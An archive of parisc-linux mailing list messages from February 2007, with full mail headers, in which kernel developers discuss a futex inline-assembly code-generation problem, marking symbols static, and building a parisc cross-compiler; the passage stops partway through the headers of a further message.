Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 11 Feb 2007 06:12:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB97E7DB04;
	Sat, 10 Feb 2007 22:12:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01167-07; Sat, 10 Feb 2007 22:12:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7D197DAEB;
	Sat, 10 Feb 2007 22:12:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 419707DAE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 22:12:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01271-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 22:12:14 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 79E087DAE4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 22:12:14 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 8A484678C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 04:43:37 +0000 (UTC)
Original-Received: (qmail 27951 invoked from network); 10 Feb 2007 23:37:14 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 10 Feb 2007 23:37:14 -0500
User-Agent: KMail/1.9.6
In-Reply-To: <200702102101.l1AL11Ai017315@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jpf3fcZcYW0+6buGbmZpKgZ0amthcxtn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24300

--===============1654415512==
Content-Type: multipart/signed; boundary="nextPart2439162.zFk8PRxdZn";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2439162.zFk8PRxdZn
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 10 February 2007, John David Anglin wrote:
> > static void __lll_mutex_lock(int *futex)
> > {
> > 	int lws_errno =3D 14;
> > 	int lws_ret;
> > 	asm (
> > "0:					\n\t"
> > "copy	%3, %%r26			\n\t"
> > "copy	%4, %%r25			\n\t"
> > "copy	%5, %%r24			\n\t"
> > "ble	" "0xb0" "(%%sr2, %%r0)		\n\t"
> > "ldi	" "0" ", %%r20		\n\t"
> > "cmpib,=3D,n " "11" ",%%r21,0b	\n\t"
> > "nop					\n\t"
> > "stw	%%r28, %0			\n\t"
> > "sub	%%r0, %%r21, %%r21		\n\t"
> > "stw	%%r21, %1			\n\t"
> >
> > : "=3Dm" (lws_ret), "=3Dm"(lws_errno), "=3Dm"(*futex)
> > : "r"(futex), "r"(0), "r"(1)
> > :"r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31",
> > : "memory"
> >
> > );
> > }
>
> Aren't lws_errno and lws_ret supposed to be global?  As is, they
> are just local variables and do nothing.

right, as they should be i think ... the sample here is reduced preprocesse=
d=20
code so you lose the visibility that ___lll_mutex_lock() is really just an=
=20
expanded macro from the atomic.h header and you lose a lot of the actual co=
de=20
(i removed the stuff that wasnt involved with the bad code generation)

lws_ret for sure should not be a local variable as that is the return value
=2Dmike

--nextPart2439162.zFk8PRxdZn
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.2 (GNU/Linux)

iQIVAwUARc6ewEFjO5/oN/WBAQIeLw/9F2Yh9wncGii7bhFLelCGL+OC3kHCoM/X
MuvzAbZZdsljUMsefUKiVHMa/DITpM/P/UQabcO4DwGfKLBDQlnc1D4bO724LJCn
ISM81LlLbbMjI4NwDrTNqyKL7k2GHR0Nh66oxKVuePwteQoyvbe1jwXrctl7eYPY
E4yMuR3iI3Lv37rJoiXJtQu850dxjMNGnzVLvuY++pSYIhI/y6TH6qtb8mgFVbWQ
qVQIKeL5Iz9K4wL/0FfQnzBPXYjHDFioWgAj2q3/4+CxpHVU33IF7RlBC9UnPAct
yMlD/oLLfSnWt0Zhn4XR5LrmDVgFxYJzw3M61BjcZ/DAp3zK3sIbrGlMvl9YwD9N
zF2rCyCm7zqNUzc7+v+m3ZUdETIaat/3akHgbxROkPWpCHvejkrf1JMa2VV9ypxt
rkjhr/MQLb+2yFhG8FOySZF/w4R8mwviogXeGMqLpp0bevVJng9nkd0W94muGDn/
9zfgCwJDvtHPJ180YBfRdEvDN2OP2noyp/HnZMV5KQDG/xa/43hSS1/y7BeVCYI7
NPn/ggb2jCz5EHZrxg6yD8JG2AtLUNe+GeU3ObemxcYw7V+ScmPFZDbGaKUFSGgJ
cn+I0FF/chf4z+xmlnjnj6oPYTwrkC53RodDn4ReoMNcUM0wGL+m2L+QmW9E1vQe
0XktceXi5y8=
=JLLe
-----END PGP SIGNATURE-----

--nextPart2439162.zFk8PRxdZn--

--===============1654415512==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1654415512==--



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Another problem with making things static
Date: Sat, 10 Feb 2007 13:01:30 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20070210130130.2584e4d8.akpm__8441.63138322092$1416624281$gmane$org@linux-foundation.org>
References: <1171121364.3373.19.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624281 22682 80.91.229.3 (22 Nov 2014 02:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 07:01:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 11 Feb 2007 08:01:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD0157DB14;
	Sun, 11 Feb 2007 00:01:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02350-04; Sun, 11 Feb 2007 00:01:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 655647DAF6;
	Sun, 11 Feb 2007 00:01:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4E537DB0E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30620-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:33 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.24])
	by free.linux.hp.com (Postfix) with ESMTP id C98EE7DB0C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:32 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id l1AL1UUI025422
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sat, 10 Feb 2007 13:01:31 -0800
Original-Received: from box (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with SMTP id l1AL1Uai021405;
	Sat, 10 Feb 2007 13:01:30 -0800
In-Reply-To: <1171121364.3373.19.camel@mulgrave.il.steeleye.com>
X-Mailer: Sylpheed version 2.2.7 (GTK+ 2.8.17; x86_64-unknown-linux-gnu)
X-Spam-Status: No, hits=-0.433 required=5 tests=AWL
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.116__
X-MIMEDefang-Filter: osdl$Revision: 1.176 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 11 Feb 2007 00:01:44 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Dcqndr4neWU35a2TZm9nHekrL0tsZs3M
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24301

On Sat, 10 Feb 2007 09:29:24 -0600 James Bottomley <James.Bottomley@SteelEye.com> wrote:

> For any person who wants to make a static symbol exported, we force an
> explanation out of them about what they're trying to do and why.  Might
> I suggest we apply the same standard to anyone trying to make something
> static?  i.e. they need to explain clearly why the symbol shouldn't be
> part of any rational API.
> 

The majority of these things are simply oversights: people forgot to
type `static'.

C got the defualt wrong..
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sat, 10 Feb 2007 20:19:11 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20070210201911.7a16b5f3.akpm__3207.10690361938$1416624281$gmane$org@linux-foundation.org>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624281 22683 80.91.229.3 (22 Nov 2014 02:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>,
 Adrian Bunk <bunk@stusta.de>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 07:02:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 11 Feb 2007 08:02:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D84D57DB20;
	Sun, 11 Feb 2007 00:01:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03948-01; Sun, 11 Feb 2007 00:01:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D91D27DB0F;
	Sun, 11 Feb 2007 00:01:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF9AE7DA47
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 21:19:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00724-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 21:19:14 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.24])
	by free.linux.hp.com (Postfix) with ESMTP id D32807D99B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 21:19:13 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id l1B4JBUI003807
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sat, 10 Feb 2007 20:19:12 -0800
Original-Received: from box (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with SMTP id l1B4JBax029127;
	Sat, 10 Feb 2007 20:19:11 -0800
In-Reply-To: <1171158436.3373.51.camel@mulgrave.il.steeleye.com>
X-Mailer: Sylpheed version 2.2.7 (GTK+ 2.8.17; x86_64-unknown-linux-gnu)
X-Spam-Status: No, hits=-0.431 required=5 tests=AWL
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.116__
X-MIMEDefang-Filter: osdl$Revision: 1.176 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 11 Feb 2007 00:01:45 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TI33fcZcYW0+6buGbmZp6Oh0amthc1tU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24302

On Sat, 10 Feb 2007 19:47:16 -0600 James Bottomley <James.Bottomley@SteelEye.com> wrote:

> The life of a non-x86 architecture maintainer is hard ... it involves
> having lots of volunteers tirelessly chasing down things that broke
> during the big two week merge frenzy.

They should test -mm kernels and report any problems so those problems
don't get into mainline.

My attempt to build a working parisc cross-compiler failed, which doesn't help.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sun, 11 Feb 2007 00:25:52 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20070211072552.GC22248__32083.6295643405$1416624282$gmane$org@colo.lackof.org>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070210201911.7a16b5f3.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624282 22685 80.91.229.3 (22 Nov 2014 02:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 07:26:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 11 Feb 2007 08:26:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 362057DB26;
	Sun, 11 Feb 2007 00:26:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04680-04; Sun, 11 Feb 2007 00:26:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11D637DB27;
	Sun, 11 Feb 2007 00:26:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F8147DB1B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:26:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04680-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:25:59 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6264A7DB0B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:25:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8DBAEAC790;
	Sun, 11 Feb 2007 00:25:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24447-09; Sun, 11 Feb 2007 00:25:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 27BB7AC78E; Sun, 11 Feb 2007 00:25:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20070210201911.7a16b5f3.akpm@linux-foundation.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Jff8dsJePTRts+jGPjIw974xc2tpZIsU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24303

On Sat, Feb 10, 2007 at 08:19:11PM -0800, Andrew Morton wrote:
> On Sat, 10 Feb 2007 19:47:16 -0600 James Bottomley <James.Bottomley@SteelEye.com> wrote:
> 
> > The life of a non-x86 architecture maintainer is hard ... it involves
> > having lots of volunteers tirelessly chasing down things that broke
> > during the big two week merge frenzy.
> 
> They should test -mm kernels and report any problems so those problems
> don't get into mainline.

We probably could start doing that for some of the build flavors (32 bit).
Kyle/Willy have done a great job of reducing the diff between kernel.org
and parisc-linux.org trees.


> My attempt to build a working parisc cross-compiler failed, which doesn't help.

I appreciate your attempt to build parisc-linux.
Could you post which source tree and which build command line you used?

I'm pretty sure this can be fixed.
We've used cross compilers in the past so I know it's worked before.

thanks,
grant

> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sun, 11 Feb 2007 08:35:20 +0100
Lines: 145
Approved: news@gmane.org
Message-ID: <20070211073520.GR12958__42552.4886385121$1416624282$gmane$org@stusta.de>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624282 22686 80.91.229.3 (22 Nov 2014 02:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:42 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 07:35:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 11 Feb 2007 08:35:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 549A27DB23;
	Sun, 11 Feb 2007 00:35:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05488-04; Sun, 11 Feb 2007 00:35:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3030B7DB24;
	Sun, 11 Feb 2007 00:35:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A37B07DB16
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:35:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05488-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:35:16 -0700 (MST)
Original-Received: from mailhub.stusta.mhn.de (emailhub.stusta.mhn.de [141.84.69.5])
	by free.linux.hp.com (Postfix) with ESMTP id 9CE347DAFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:35:15 -0700 (MST)
Original-Received: from r063144.stusta.swh.mhn.de (r063144.stusta.swh.mhn.de
	[10.150.63.144])
	by mailhub.stusta.mhn.de (Postfix) with ESMTP id 20BE8181C15;
	Sun, 11 Feb 2007 08:36:30 +0100 (CET)
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 663211142CE; Sun, 11 Feb 2007 08:35:20 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1171158436.3373.51.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
